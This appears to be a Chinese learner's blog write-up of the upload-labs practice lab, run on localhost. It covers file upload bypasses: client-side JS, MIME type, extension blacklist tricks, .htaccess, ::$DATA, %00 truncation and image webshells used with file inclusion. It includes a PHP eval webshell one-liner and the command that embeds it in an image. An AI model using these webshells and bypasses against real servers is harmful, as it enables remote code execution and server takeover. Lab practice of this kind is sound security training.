前言:之前在DVWA靶场上了解了upload文件上传漏洞,并进行了学习,现在来安装upload-labs来打一下靶场。
phpstudy集成环境。
upload-labs项目地址upload-labs,下载压缩包解压到本地phpstudy的www文件夹下,将文件夹命名为upload-labs
(个人选择),也可以不改。
打开phpstudy,开启环境在浏览器中访问127.0.0.1/upload-labs
就可以进入靶场。
第一步查看源码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
可以看出可以传入的是.jpg/.png/,gif
类型的图片。因为第一关嘛,限制比较简单,有以下几种方法。
1.禁用js
谷歌浏览器禁用js,可以百度搜索,不再多说。
火狐浏览器推荐一个插件noscript
,禁用js后就可以上传php文件了。
2.burp抓包修改后缀,
先将要上传的shell.php
后缀改成图片格式,比如jpg。
然后上传,抓包,修改回shell.php
放包。上传成功。
3.直接传图片马
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
这个是对Content-type的MIME类型进行限制。
在DVWA中尝试过了已经,
抓包,对Content-type进行修改,改为image/jpeg
或者其他两种类型。不再赘述。
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这个原本不知道该怎么操作,看了大佬的博客才知道了这个是黑名单过滤,服务器把后缀为.asp .aspx .php .,jps
的文件给过滤了,要想办法绕过这些。可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,前提条件是Apache的httpd.conf有如下配置代码
AddType application/x-httpd-php .php .phtml .php5 .pht .phps
让Apache能够解析这些后缀的文件。
配置路径
D:\phpStudy\PHPTutorial\Apache\conf
我的是phpstudy集成环境,所以在phpstudy目录下。找到(httpd.conf)这个文件打开
修改成图中的样子。
这个时候就可以将后缀改为.phtml
再次上传
上传成功
用蚁剑连接一下,连接失败。emmm挺烦的这个,好长时间了,还卡在这里,暂时,方法没错,可是我连接本地的就是连不上,无语啦。
了解到一种方法,可能比较少见,现在分享一下
不改名,直接上传php文件
开代理抓包,然后Send to intruder
进行php扩展名的爆破
选择字典,或者自己添加参数。
随便写几个吧,栗子而已。
然后就可以开始爆破了。
上面的是可以上传的,下面的则是不符合条件的。
所以就知道应该传入什么文件了。(可能想的是,这也没有什么啊,还不如直接上传phtml方便。继续看)
然后右键单击一个,找到Show response in browser
点击copy,然后粘贴到浏览器
记住关代理,暂停抓包,复制到浏览器跑一下
会发现已经上传成功了,那其他的呢,也可以都试试。
我全部上传,最后看效果。
上传完成了,可以打开upload文件查看
害,,还是连接不成功,不知道是哪里出的问题,已经困扰我好久了。太难了我。
没解决,访问直接下载phtml文件。无语啦=_=
这一关,传phtml文件不行了,也被加入了黑名单,所以先查看下源码,
查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
好多被限制的额,但是没有限制.htaccess
文件。然后就可以上传这个文件。
这之前,需要进行一些改动,在apache解析那个文件中,检查mod_write模块是否开启,还有AllowOverride All
先上传一个1.htaccess
文件,
AddType application/x-httpd-php .jpg
然后上传shell.jpg就可以尝试用蚁剑菜刀等工具连接了。
伤心事一笔带过。=_=
这个再上传htaccess文件已经不可以了,也被过滤了,所以看看源码。
莫明的想笑,我的第五关跟别人的不一样,直接基础的过滤都给省略了,(大小写绕过,点绕过,空格绕过)
这里直接综合使用:
先将php文件上传抓包,
它要过滤,那就制造给它过滤,让它先过滤空格和点,最后还剩下点,依旧能上传,尝试连接。
OK,阔以。
呃呃呃,我发现这个是大小写过滤,,,怎么到后面来了,
这个就是将shell.php
上传抓包改后缀为Php
就可以绕过了。
空格绕过,这个在shell.php
后加个空格就OK了,
抓包改成shell.php
上传。
点过滤,抓包,修改后缀为shell.php.
,即可进行点过滤。
::$DATA
绕过,
在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过
这是网上的大佬给的解释,简单明了。容易理解。
还是抓包修改
测试连接,看到连接成功了。
eeee,第十关好像跟第五关一样了,???
仔细对比了一下,源码都一样的,=_=,直接过了哈。
查看源码可以看出,这里使用了替换函数。
试一下,这里我加个点,尝试点绕过。
然后复制图像地址看一下。
再看看upload的文件夹
这里知道它是将php替换成"空格"了。
嗯,这里可以进行双写绕过……
测试连接,连接成功
代码解析;
这个是对服务器端上传文件名的后缀做了限制,
这里没有设置黑名单,而是白名单,规定只能上传jpg/png/gif格式的图片。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
可知上传路径命名规则使用用户get请求的save_path值拼接而成。
可以考虑%00截断,但是好像php%00截断只对php版本<5.3的适用,我的是5.4,不知道行不行,试一下吧。
抓包进行修改。
果然不行,上传出错了。
切换到5.3的版本应该就行了。
查看源码发现是基于post的save_path,做题如何判断是get还是post,抓包查看save_path在什么位置,在上面的url的位置上就是get,如下的情况就是post。
修改,因为是post方式,它与get方式不同的就是,它不会对%00自动进行解码,所以在二进制中修改。
GIF98A
@eval($_POST['cmd']);?>
然后改为图片格式的后缀。
上传……
然后,提示有文件包含漏洞,可以查看一下。
关于文件包含漏洞,之前学习上传图片马,然后了解了一下文件包含漏洞,具体学习的博客正在写了,完善完成后发。
这里直接利用。
构造payload
http://127.0.0.1/upload-labs/upload/include.php?file=4420200512095517.gif
访问,可以。
尝试蚁剑连接。
终于成功了,get。
注意事项:include.php
必须在upload目录下,或者这么说:include.php
必须和上传的文件(图片马)在同一目录下。
继续上传刚才的图片马(上一关上传的我已经删除了)
成功了,测试连接,也可以
这关是,用getimagesize函数判断文件类型图片马没什么影响。可以使用。
已久传了我百传不厌的“图片”,发现依旧管用。
查看源码:
查看后发现我已经是开着这个模块的。所以才成功了,
考点:使用php_exif模块来判断文件类型,已久可以使用图片马。
这一关有所变化,
这个图片马不管用了,那就再换一个。
之前记得学过将php一句话与正常图片拼接成一个图片马。在硬盘角落里找到了它。
还是再写一遍制作方法:使用windows命令中的copy
copy 1.jpg/b+shell.php/a 1000.jpg
就可以生成图片马了。
上传……
然后发现找不到我的一句话了。
按理说,我的一句话应该是在这里的,不见了。查过资料发现是进行了二次渲染。
查看源码:
上面还进行了判断content-type还有后缀等。二次渲染不知道怎么绕过。看看大佬的文章,没有随便转载和复现,感觉大佬写的很详细,下次再看直接去看原创。留个门:传送门
php一句话被写在了中间的位置,也不是随便挑的位置。有方法去写的。
到此先停下,这个二次渲染已经不会了,后面的也先不看了。看不定还浪费时间。等水平提高一点了再把这个靶场过完。
文末寄语:
有时想想,独居斗室和天涯浪迹好像是一件事情,身处寂寞和身处喧嚣其实也没什么两样,身外的整个世界都是镜子,我们必须自己认得自己。
——马良《人间卧底》